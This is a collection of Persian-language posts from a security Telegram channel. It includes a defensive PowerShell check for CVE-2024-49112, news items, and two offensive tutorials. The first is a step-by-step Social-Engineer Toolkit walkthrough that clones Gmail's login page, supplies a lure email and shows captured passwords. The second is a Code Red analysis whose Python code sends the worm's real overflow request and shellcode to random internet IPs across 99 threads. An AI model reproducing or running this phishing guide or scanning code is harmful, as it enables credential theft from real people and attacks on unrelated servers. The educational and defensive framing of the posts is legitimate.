Try Hack Box

در بولتن امنیتی دسامبر مایکروسافت، یک باگ به نام CVE-2024-49112 وجود دارد که سر و صدای زیادی به پا کرد و فکر می‌شد که با یک پچ برطرف شود. اما اینطور نشد... در برخی گروه‌ها، Proof of Concept (PoC) این باگ به قیمت ۱۵۷ دلار فروخته می‌شود. این آسیب‌پذیری در پروتکل Lightweight Directory Access Protocol) LDAP) در سیستم‌های Microsoft Windows وجود دارد و به مهاجمان غیرمجاز اجازه می‌دهد تا از طریق درخواست‌های LDAP دستکاری‌شده، کدهای مخرب را به صورت ریموت اجرا کنند. این موضوع می‌تواند منجر به تسلط کامل بر سیستم و نشت داده‌ها شود. 💡 چرا این موضوع مهم است: ☠️ دسترسی غیرقابل کنترل به سیستم‌های آسیب‌پذیر. ☠️ احتمال نشت داده‌ها و اختلال در سرویس‌ها. ☠️ خطر آلوده‌شدن گسترده شبکه. 🛡️ اقدامات پیشنهادی: ✅ بررسی کنید که اتصالات RPC ورودی فقط از شبکه‌های داخلی قابل اعتماد مجاز باشند. ✅ مطمئن شوید که کنترلرهای دامنه دسترسی مستقیم به اینترنت ندارند (فقط DNS اگر روی کنترلر باشد). ✅ سیستم‌ خود را از نظر پیکربندی‌های آسیب‌پذیر با استفاده از اسکریپت‌ها یا ابزارهای تخصصی بررسی کنید. ✅ آخرین پچ های امنیتی مایکروسافت را نصب کنید. ✅ ترافیک LDAP و RPC را برای شناسایی فعالیت‌های مشکوک زیر نظر بگیرید. اسکریپت برای بررسی دسترسی RPC و اتصال به اینترنت (برای بررسی توسط ادمین‌ها روی کنترلرها):

# Detection script for CVE-2024-49112
Write-Output "Checking system configuration for CVE-2024-49112..."

# بررسی اینکه آیا سیستم یک کنترلر دامنه است یا نه
$isDomainController = (Get-WmiObject Win32_ComputerSystem).DomainRole -eq 4 -or (Get-WmiObject Win32_ComputerSystem).DomainRole -eq 5
if (-not $isDomainController) {
    Write-Output "This system is not a Domain Controller. No action needed."
    exit
}

# بررسی اینکه آیا اتصالات RPC ورودی از شبکه‌های غیرقابل اعتماد مسدود شده‌اند یا نه
$rpcsrvstatus = Get-NetFirewallRule -DisplayName "*RPC*" | Where-Object {$_.Direction -eq "Inbound" -and $_.Enabled -eq "True"}
if ($rpcsrvstatus) {
    Write-Output "Warning: Inbound RPC connections from untrusted networks are allowed. This configuration is vulnerable."
} else {
    Write-Output "Inbound RPC connections from untrusted networks are blocked."
}

# بررسی اینکه آیا کنترلر دامنه دسترسی به اینترنت دارد یا نه
$internetAccess = Test-Connection -ComputerName "1.1.1.1" -Count 2 -Quiet
if ($internetAccess) {
    Write-Output "Warning: Domain Controller has internet access. This configuration is vulnerable."
} else {
    Write-Output "Domain Controller does not have internet access."
}

Write-Output "Detection complete."

#CVE @TryHackBox

در بولتن امنیتی دسامبر مایکروسافت، یک باگ به نام CVE-2024-49112 وجود دارد که سر و صدای زیادی به پا کرد و فکر می‌شد که با یک پچ برطرف شود. اما اینطور نشد... در برخی گروه‌ها، Proof of Concept (PoC) این باگ به قیمت ۱۵۷ دلار فروخته می‌شود. این آسیب‌پذیری در پروتکل Lightweight Directory Access Protocol) LDAP) در سیستم‌های Microsoft Windows وجود دارد و به مهاجمان غیرمجاز اجازه می‌دهد تا از طریق درخواست‌های LDAP دستکاری‌شده، کدهای مخرب را به صورت ریموت اجرا کنند. این موضوع می‌تواند منجر به تسلط کامل بر سیستم و نشت داده‌ها شود. 💡 چرا این موضوع مهم است: ☠️ دسترسی غیرقابل کنترل به سیستم‌های آسیب‌پذیر. ☠️ احتمال نشت داده‌ها و اختلال در سرویس‌ها. ☠️ خطر آلوده‌شدن گسترده شبکه. 🛡️ اقدامات پیشنهادی: ✅ بررسی کنید که اتصالات RPC ورودی فقط از شبکه‌های داخلی قابل اعتماد مجاز باشند. ✅ مطمئن شوید که کنترلرهای دامنه دسترسی مستقیم به اینترنت ندارند (فقط DNS اگر روی کنترلر باشد). ✅ سیستم‌ خود را از نظر پیکربندی‌های آسیب‌پذیر با استفاده از اسکریپت‌ها یا ابزارهای تخصصی بررسی کنید. ✅ آخرین وصله‌های امنیتی مایکروسافت را نصب کنید. ✅ ترافیک LDAP و RPC را برای شناسایی فعالیت‌های مشکوک زیر نظر بگیرید. اسکریپت برای بررسی دسترسی RPC و اتصال به اینترنت (برای بررسی توسط ادمین‌ها روی کنترلرها):

# Detection script for CVE-2024-49112
Write-Output "Checking system configuration for CVE-2024-49112..."

# بررسی اینکه آیا سیستم یک کنترلر دامنه است یا نه
$isDomainController = (Get-WmiObject Win32_ComputerSystem).DomainRole -eq 4 -or (Get-WmiObject Win32_ComputerSystem).DomainRole -eq 5
if (-not $isDomainController) {
    Write-Output "This system is not a Domain Controller. No action needed."
    exit
}

# بررسی اینکه آیا اتصالات RPC ورودی از شبکه‌های غیرقابل اعتماد مسدود شده‌اند یا نه
$rpcsrvstatus = Get-NetFirewallRule -DisplayName "*RPC*" | Where-Object {$_.Direction -eq "Inbound" -and $_.Enabled -eq "True"}
if ($rpcsrvstatus) {
    Write-Output "Warning: Inbound RPC connections from untrusted networks are allowed. This configuration is vulnerable."
} else {
    Write-Output "Inbound RPC connections from untrusted networks are blocked."
}

# بررسی اینکه آیا کنترلر دامنه دسترسی به اینترنت دارد یا نه
$internetAccess = Test-Connection -ComputerName "1.1.1.1" -Count 2 -Quiet
if ($internetAccess) {
    Write-Output "Warning: Domain Controller has internet access. This configuration is vulnerable."
} else {
    Write-Output "Domain Controller does not have internet access."
}

Write-Output "Detection complete."

#CVE @TryHackBox

برای کسانی که نیاز به توضیح در مورد نحوه عملکرد حملات DDoS دارند ... @TryHackBox

𝕏 دوباره از کار افتاد - ایلان ماسک "حمله سایبری گسترده" را تایید کرد زیرا سایت سابق توییتر امروز برای چهارمین بار از کار افتاد. https://www.techradar.com/news/live/x-is-down-latest-news-on-twitters-third-outage

⭕ حمله سایبری بی‌سابقه به ایکس؛ ایلان ماسک از احتمال دخالت یک کشور متخاصم خبر داد! 🔻ایلان ماسک، مالک پلتفرم ایکس (X)، از وقوع یک حمله سایبری گسترده به این شبکه اجتماعی خبر داد و تأکید کرد که این حمله هنوز مهار نشده است. 🔴به گفته ماسک، اگرچه این پلتفرم روزانه با حملات متعددی رو به رو است، اما حمله امروز به حدی جدی و وسیع است که اختلالاتی جهانی در عملکرد ایکس ایجاد کرده است 🔻او احتمال داد که این حمله یا توسط یک گروه بزرگ و هماهنگ انجام شده یا پشت پرده آن، یک کشور متخاصم قرار دارد که از ابعاد این تهاجم سایبری حکایت می‌کند.

#موقت تیم Dark Storm ادعای قطعی توییتر/X را دارد

دوستان در حال فعلا آموزش هایی از تست نفوذ وب و soc نیست من با بچه ها صحبت کردم ولی به دلیل یکسری مشکلات نتونستن دوره ای رکورد کنند . ولی تست نفوذ شبکه رو من مطالب مربوط بهش قرار میدم اینجا و تا سطح ردتیم ( نت ورک ) جلو میرم . خودمم ویدئو به دلایلی رکورد نمیکنم فقط به صورت متن یا pdf در کانال مطالب قرار میدم . حال اگر فکر میکنید میتوانید در زمینه SOC و تست نفوذ وب فعالیت کنید چه مثل من به صورت متن و pdf چه به صورت رکورد کردن ویدئو که بسته به خودتون میتونید دوره پولی هم برگزار کنید ( البته باید رزومه خوبی هم داشته باشید برای دوره پولی ، منظورم این نیست که دوره های رایگان برگزار میشه بچه ها رزومه خوبی ندارند نه اشتباه برداشت نکنید  ) . حال اگر کسیم مایل بود و تست نفوذ شبکه کار میکنه یا یاد میگیری که لابراتور داره من مطالب بدم بهش با توضیحات رکورد انجام بده هم واسه خودش خوبه هم کانال از حالت متن و pdf در بیاد به قولی تنوع بشه واسه همه دوستان . در غیر این صورت من همون مطالب با روال قبل جلو میرم تا دوستان رکورد بکنند دوره هاشونو حال چه رایگان چه به صورت ثبت نام کردن در دوره با هزینه ای که در نظر میگیرند . اگر قصد داشتید شما هم کمک کنید میتوانید با ایدی زیر با ما در تماس باشید : @Unique_exploitbot

دوستان در حال فعلا آموزش هایی از تست نفوذ وب و soc نیست من با بچه ها صحبت کردم ولی به دلیل یکسری مشکلات نتونستن دوره ای رکورد کنند . ولی تست نفوذ شبکه رو من مطالب مربوط بهش قرار میدم اینجا و تا سطح ردتیم ( نت ورک ) جلو میرم . خودمم ویدئو به دلایلی رکورد نمیکنم فقط به صورت متن یا pdf در کانال مطالب قرار میدم . حال اگر فکر میکنید میتوانید در زمینه SOC و تست نفوذ وب فعالیت کنید چه مثل من به صورت متن و pdf چه به صورت رکورد کردن ویدئو که بسته به خودتون میتونید دوره پولی هم برگزار کنید ( البته باید رزومه خوبی هم داشته باشید برای دوره پولی ، منظورم این نیست که دوره های رایگان برگزار میشه بچه ها رزومه خوبی ندارند نه اشتباه برداشت نکنید ) . حال اگر کسیم مایل بود و تست نفوذ شبکه کار میکنه یا یاد میگیری که لابراتور داره من مطالب بدم بهش با توضیحات رکورد انجام بده هم واسه خودش خوبه هم کانال از حالت متن و pdf در بیاد به قولی تنوع بشه واسه همه دوستان . در غیر این صورت من همون مطالب با روال قبل جلو میرم تا دوستان رکورد بکنند دوره هاشونو حال چه رایگان چه به صورت ثبت نام کردن در دوره با هزینه ای که در نظر میگیرند . اگر قصد داشتید شما هم کمک کنید میتوانید با ایدی زیر با ما در تماس باشید : @Unique_exploitbot

SET یا Social-Engineer Toolkit  یکی از ابزارهای قدرتمند و محبوب برای انجام حملات فیشینگ است. این ابزار به مهاجمان اجازه می‌دهد تا صفحات ورود جعلی ایجاد کنند، ایمیل‌های فیشینگ ارسال کنند و حتی بدافزارها را توزیع کنند. در اینجا مراحل انجام یک حمله فیشینگ با استفاده از SET به طور کامل و با جزئیات توضیح داده شده است: مراحل انجام فیشینگ با SET: ۱. نصب و راه‌اندازی SET: معمولاً به صورت پیش‌فرض در توزیع‌های لینوکس مانند Kali Linux نصب شده است. اگر نصب نیست، می‌توانید آن را با دستور زیر نصب کنید:

sudo apt install setoolkit

پس از نصب، SET را با دستور زیر اجرا کنید:

setoolkit

۲. پیکربندی اولیه SET: پس از اجرای SET، ممکن است از شما خواسته شود که برخی تنظیمات اولیه را انجام دهید. این تنظیمات شامل انتخاب نوع حمله، پیکربندی سرور و غیره است. برای شروع، معمولاً گزینه‌های پیش‌فرض کافی هستند. ۳. انتخاب نوع حمله: پس از اجرای SET، منوی اصلی نمایش داده می‌شود. گزینه‌های مختلفی برای حملات وجود دارد. برای فیشینگ، گزینه ۱) Social-Engineering Attacks را انتخاب کنید.

Select from the menu: 1) Social-Engineering Attacks 2) Penetration Testing (Fast-Track) 3) Third Party Modules 4) Update the Social-Engineer Toolkit 5) Update SET configuration 6) Help, Credits, and About set> 1

۴. انتخاب روش فیشینگ: در مرحله بعد، گزینه‌های مختلفی برای حملات فیشینگ نمایش داده می‌شود. برای ایجاد یک صفحه ورود جعلی، گزینه ۲) Website Attack Vectors را انتخاب کنید.

Select from the menu: 1) Spear-Phishing Attack Vectors 2) Website Attack Vectors 3) Infectious Media Generator 4) Create a Payload and Listener 5) Mass Mailer Attack 6) Arduino-Based Attack Vector 7) Wireless Access Point Attack Vector 8) QRCode Generator Attack Vector 9) Powershell Attack Vectors 10) Third Party Modules set> 2

۵. انتخاب نوع حمله وب‌سایت: حالا باید نوع حمله وب‌سایت را انتخاب کنید. برای ایجاد یک صفحه ورود جعلی، گزینه ۳) Credential Harvester Attack Method را انتخاب کنید.

Select from the menu: 1) Java Applet Attack Method 2) Metasploit Browser Exploit Method 3) Credential Harvester Attack Method 4) Tabnabbing Attack Method 5) Web Jacking Attack Method 6) Multi-Attack Web Method 7) HTA Attack Method set> 3

۶. انتخاب روش ایجاد صفحه جعلی: در این مرحله، SET از شما می‌پرسد که آیا می‌خواهید از یک قالب آماده استفاده کنید یا یک صفحه وب را کپی کنید. برای سادگی، گزینه ۲) Site Cloner را انتخاب کنید.

Select from the menu: 1) Web Templates 2) Site Cloner 3) Custom Import set> 2

۷. وارد کردن آدرس وب‌سایت واقعی: حالا باید آدرس وب‌سایت واقعی را وارد کنید که می‌خواهید از آن تقلید کنید. برای مثال، اگر می‌خواهید یک صفحه ورود جعلی برای Gmail ایجاد کنید، آدرس زیر را وارد کنید:

Enter the url to clone: https://www.gmail.com

۸. راه‌اندازی سرور فیشینگ: به طور خودکار صفحه ورود جعلی را ایجاد می‌کند و یک سرور محلی راه‌اندازی می‌کند. این سرور در آدرس IP شما (مثلاً 192.168.1.100) و پورت پیش‌فرض (مثلاً ۸۰) در دسترس خواهد بود.

[*] Cloning the website: https://www.gmail.com [*] This could take a little bit... [*] The Social-Engineer Toolkit Credential Harvester Attack [*] Credential Harvester is running on port 80 [*] Information will be displayed below:

۹. ارسال ایمیل فیشینگ: حالا باید کاربران را به صفحه جعلی هدایت کنید. این کار معمولاً با ارسال یک ایمیل فیشینگ انجام می‌شود که حاوی لینک به صفحه جعلی است. متن ایمیل ممکن است شبیه به این باشد:

موضوع: امنیت حساب کاربری شما متن: برای حفظ امنیت حساب کاربری خود، لطفاً روی لینک زیر کلیک کنید و وارد شوید: http://192.168.1.100

 ۱۰. جمع‌آوری اطلاعات: وقتی کاربران روی لینک کلیک کنند و اطلاعات ورود خود را وارد کنند، این اطلاعات به سرور SET ارسال می‌شود و در ترمینال نمایش داده می‌شود:

[*] WE GOT A HIT! Email: user@example.com Password: password123

نکات امنیتی برای جلوگیری از فیشینگ: کاربران: هرگز روی لینک‌های ناشناس کلیک نکنید. همیشه آدرس وب‌سایت را به دقت بررسی کنید. از احراز هویت دو مرحله‌ای (2FA) استفاده کنید. سازمان‌ها: آموزش کاربران درباره فیشینگ و تکنیک‌های مهندسی اجتماعی. استفاده از ابزارهای ضد فیشینگ و فیلتر کردن ایمیل‌های مخرب. نظارت مداوم بر ترافیک شبکه برای شناسایی فعالیت‌های مشکوک. اگر موافق هستید توی کامنت ها بگید روش های دیگه دسترسی به شبکه را هم توضیح بدیم . ما را معرفی کنید ❤ @TryHackBox

دوستان کسی مایل هست دوره ی lpic1 رکورد کنه : @Unique_exploitbot

دوستان کسی مایل هست دوره ی lpic1 رکورد کنه؟

این سوال یک پاسخ ثابت نداره چرا که روش‌های دسترسی اولیه به شبکه بسیار متنوع هستند و بستگی به عوامل زیر دارد: مهارت مهاجم (مبتدی vs حرفه‌ای)، سطح امنیت شبکه هدف، نوع سیستم‌ها و سرویس‌های در دسترس، منابع و زمان در اختیار مهاجم. و موارد دیگر

 ⭕ | روش‌های دیگری نیز برای دسترسی اولیه به شبکه هدف وجود دارد. برخی از این روش‌ها عبارتند از: + مهندسی اجتماعی + دسترسی فیزیکی + حمله زنجیره تامین + استفاده از اعتبارنامه های لو رفته + و موارد دیگه هر یک از این روش‌ها بسته به سطح امنیت شبکه هدف، پیچیدگی فنی، و منابع مهاجم ممکن است استفاده شوند. 🧩 مثال برای درک بهتر: اگر سازمانی کاربران آموزش‌ندیده داشته باشد، احتمال موفقیت فیشینگ یا مهندسی اجتماعی بیشتر است. اگر سازمانی سرویس‌های قدیمی با آسیب‌پذیری‌های شناخته‌شده داشته باشد، سوءاستفاده از اکسپلویت‌ها روش کارآمدتری است. اگر مهاجم دسترسی فیزیکی به تجهیزات داشته باشد، ممکن است از کیلاگر یا دستگاه‌های مخرب USB استفاده کند. 💢 حال ما فرض میکنیم جواب این سوال : دسترسی اولیه به یک شبکه هدف معمولاً از طریق تکنیک‌هایی مانند فیشینگ، سوءاستفاده از آسیب‌پذیری‌ها یا استفاده از پیکربندی‌های نادرست به دست می‌آید. ⭕ | خب بریم کمی وارد این جواب بشیم و به طور عملی کار کنیم : اول فشینگ را بررسی میکنیم : چگونه اتفاق می‌افتد؟ مهاجمان با ارسال ایمیل‌ها، پیام‌ها یا لینک‌های جعلی، کاربران را فریب می‌دهند تا اطلاعات حساس مانند نام کاربری، رمز عبور یا سایر داده‌ها را افشا کنند. این لینک‌ها ممکن است به صفحات ورود جعلی هدایت شوند یا حاوی فایل‌های مخرب باشند. ابزارها و کدهای مورد استفاده: ابزارهایی مانند SET (Social-Engineer Toolkit) یا Gophish برای ایجاد صفحات فیشینگ و ارسال ایمیل‌های جعلی. کدهای HTML و JavaScript برای طراحی صفحات جعلی. فایل‌های مخرب مانند اسکریپت‌های PowerShell یا ماکروهای Office که پس از اجرا، دسترسی مهاجم را فراهم می‌کنند. این پست ادامه دارد ... @TryHackBox

#جواب فردا نوشته خواهد شد .

#سوال معمولاً چگونه به یک شبکه هدف دسترسی اولیه پیدا می‌کنید؟

🔖 Cyberdefense Active Directory Mindmap v2025.03 یک برگه تقلب فوق‌العاده دقیق برای بررسی زیرساخت‌های AD . ➡️ SVG ➡️ PNG ⛺️ Home #AD @TryHackBox

تحلیل حمله بر فرض مثال چطوری کرم گسترش پیدا کرده : ۱. روش اصلی حمله: سوءاستفاده از آسیب‌پذیری سرریز بافر (Buffer Overflow) هدف: وب‌سرورهای Microsoft IIS (Internet Information Services) که نسخه‌های آسیب‌پذیر کتابخانه idq.dll را اجرا می‌کردند. مکانیزم: کرم با ارسال یک درخواست HTTP مخرب به شکل زیر، باعث سرریز بافر در ماژول ایندکس‌سازی (Indexing Service) می‌شد:

GET /default.ida?[رشته طولانی از Nها]%u9090%u6858%ucbd3%u7801... HTTP/1.0

رشته Nها باعث سرریز بافر و بازنویسی حافظه می‌شد. کد هگزادسیمال بعدی (%u9090...) حاوی دستورات ماشینی (Shellcode) بود که کنترل سرور را به مهاجم می‌داد. ۲. روش‌های گسترش خودکار + اسکن تصادفی IPها: کرم به صورت خودکار آدرس‌های IP تصادفی را اسکن می‌کرد و به هر سروری که پورت ۸۰ (HTTP) باز بود، درخواست مخرب خود را ارسال می‌نمود. اسکن تصادفی IPها کرم Code Red از الگوریتم‌های ساده‌ای برای تولید آدرس‌های IP تصادفی استفاده می‌کرد. در پایتون، این فرآیند را می‌توان به صورت زیر شبیه‌سازی کرد:

import random

def generate_random_ip():
    return ".".join(str(random.randint(0, 255)) for _ in range(4))

# مثال: تولید ۱۰ آدرس IP تصادفی
for _ in range(10):
    print(generate_random_ip())

+ ارسال درخواست مخرب به پورت ۸۰ کرم پس از پیدا کردن یک سرور با پورت ۸۰ باز، درخواست HTTP مخرب خود را ارسال می‌کرد. در پایتون، این کار را می‌توان با استفاده از کتابخانه socket شبیه‌سازی کرد:

import socket

def send_malicious_request(ip):
    try:
        # ایجاد یک سوکت TCP
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(2)  # تنظیم timeout برای اتصال
        sock.connect((ip, 80))  # اتصال به پورت ۸۰
        
        # ارسال درخواست مخرب
        malicious_request = (
            "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0\r\n"
            "Host: example.com\r\n"
            "\r\n"
        )
        sock.send(malicious_request.encode())
        
        # دریافت پاسخ (اختیاری)
        response = sock.recv(4096)
        print(f"Response from {ip}: {response.decode()}")
        
        sock.close()
    except Exception as e:
        print(f"Failed to connect to {ip}: {e}")

# مثال: ارسال درخواست به یک IP تصادفی
random_ip = generate_random_ip()
send_malicious_request(random_ip)

تکثیر موازی: روی هر سیستم آلوده، ۹۹ thread موازی ایجاد می‌کرد تا اسکن و آلوده‌سازی را تسریع کند. + ایجاد Threadهای موازی برای اسکن و آلوده‌سازی کرم Code Red از ۹۹ thread موازی برای تسریع فرآیند اسکن و آلوده‌سازی استفاده می‌کرد. در پایتون، این کار را می‌توان با استفاده از کتابخانه threading شبیه‌سازی کرد:

import threading

def scan_and_infect(ip):
    print(f"Scanning {ip}...")
    send_malicious_request(ip)

# ایجاد ۹۹ thread موازی
threads = []
for _ in range(99):
    ip = generate_random_ip()
    thread = threading.Thread(target=scan_and_infect, args=(ip,))
    thread.start()
    threads.append(thread)

# منتظر ماندن برای اتمام تمام threadها
for thread in threads:
    thread.join()

--- عدم نیاز به تعامل کاربر: برخلاف بسیاری از بدافزارها، Code Red برای گسترش نیازی به کلیک کاربر یا اجرای فایل پیوست نداشت. تنها کافی بود سرور به اینترنت متصل باشد! جمع‌بندی این کدها صرفاً برای درک بهتر مکانیزم‌های گسترش کرم Code Red ارائه شده‌اند. امروزه، چنین حملاتی با استفاده از فایروال‌ها، سیستم‌های تشخیص نفوذ (IDS)، و به‌روزرسانی‌های امنیتی به راحتی قابل پیشگیری هستند. @TryHackBoxStory

🪱 کد رد (Code Red) • صبح روز ۱۵ ژوئیه ۲۰۰۱: تحلیلگران شرکت eEye Digital Security در حالی که آخرین جرعه‌های نوشیدنی گازدار محبوبشان، Code Red Mountain Dew، را می‌نوشیدند، با هشدارهایی درباره گسترش سریع یک کرم کامپیوتری جدید مواجه شدند. همین موضوع باعث شد نام این بدافزار را به یاد نوشیدنی مورد علاقه‌شان، «کد رد» بگذارند. این نام برای بسیاری از قربانیان کرم به یاد ماندنی شد، چرا که در عرض چند روز، کد رد اینترنت را تسخیر کرد. • چگونگی گسترش کرم: بعدها مشخص شد که گسترش این کرم از ۱۳ ژوئیه ۲۰۰۱ آغاز شده بود. این بدافزار از یک آسیب‌پذیری در وب‌سرور Internet Information Server (IIS) استفاده می‌کرد که مربوط به سرریز بافر (Buffer Overflow) بود. اگرچه مایکروسافت یک ماه قبل از این اتفاق، وصله‌ای برای رفع این آسیب‌پذیری منتشر کرده بود، اما بسیاری از مدیران سیستم‌ها به‌موقع این به‌روزرسانی را نصب نکرده بودند. همین موضوع دلیل اصلی شیوع گسترده این کرم شد. • آسیب‌پذیری مورد استفاده: کرم اینترنتی از یک آسیب‌پذیری ساده در یکی از ماژول‌های وب‌سرور، به‌طور خاص در بخش افزونه‌ایندکس کردن داده‌ها، سوءاستفاده می‌کرد. در کتابخانه idq.dll یک اشکال مربوط به سرریز بافر وجود داشت. این آسیب‌پذیری با شناسه MS01-33 شناخته می‌شد. با استانداردهای امروزی، این یک اشکال بسیار ساده است که می‌توان با ارسال یک درخواست بسیار طولانی به سرور، آن را مورد سوءاستفاده قرار داد. مثلاً:

GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0

در این درخواست، داده‌های بعد از کاراکترهای N به عنوان دستورات تفسیر و اجرا می‌شوند. تمام کد مخرب در خود درخواست قرار دارد، بنابراین اگر سرور آسیب‌پذیر باشد، بلافاصله و با احتمال ۱۰۰٪ آلوده می‌شود. • رفتار کرم: رفتار کرم بسته به تاریخ روز متفاوت بود. از روز ۱ تا ۱۹ هر ماه، کرم فقط به گسترش خود می‌پرداخت: با اسکن سرورهای اینترنتی، درخواست‌های مخرب را به آن‌ها ارسال می‌کرد. برای این کار، روی هر سیستم آلوده، ۹۹ thread موازی ایجاد می‌شد که هر کدام لیستی از کامپیوترهای جدید برای آلوده‌سازی را تولید می‌کردند. از روز ۲۰ تا ۲۷ هر ماه، کرم حملات DDoS را علیه لیستی از آدرس‌های IP که در کد آن تعبیه شده بود، انجام می‌داد. یکی از این آدرس‌ها، مربوط به وب‌سایت کاخ سفید بود. • اوج شیوع: اگرچه گسترش کرم در ۱۵ ژوئیه ۲۰۰۱ گزارش شد، اما اوج آن در ۱۹ ژوئیه اتفاق افتاد، زمانی که بیش از ۳۵۹ هزار سرور آلوده شده بودند. بعدها، با نصب به‌روزرسانی‌های امنیتی مایکروسافت توسط مدیران سیستم‌ها، شیوع کرم کاهش یافت. البته نسخه دوم کرم با نام Code Red II نیز ظهور کرد که از کاراکترهای X به جای N در درخواست‌های خود استفاده می‌کرد. • نتیجه‌گیری: از این ماجرا دو درس مهم می‌توان گرفت. اول اینکه نصب به‌موقع وصله‌های امنیتی که ۲۴ سال پیش اهمیت زیادی داشت، هنوز هم موضوعی حیاتی است. دوم اینکه خوش‌شانسی بزرگی بود که کد رد فایل‌ها را رمزنگاری نمی‌کرد، پسوردها را نمی‌دزدید یا داده‌ها را نابود نمی‌کرد. اگر هدف مهاجمان مخرب‌تر بود، عواقب این حمله می‌توانست بسیار فاجعه‌بارتر باشد. @TryHackBoxStory

سریال روز صفر Zero Day 2025 مینی‌سریال "روز صفر" داستان رئیس‌جمهور سابق ایالات متحده "جرج مالن" را روایت می‌کند که مأموریت دارد عاملان یک حمله سایبری ویرانگر را که کشور را دچار هرج‌ومرج کرده است، شناسایی کند. در جریان تحقیقات، او با رازهای تاریک خود مواجه شده و نزدیکانش را در معرض خطر می‌بیند و ... #معرفی_فیلم @TryHackBox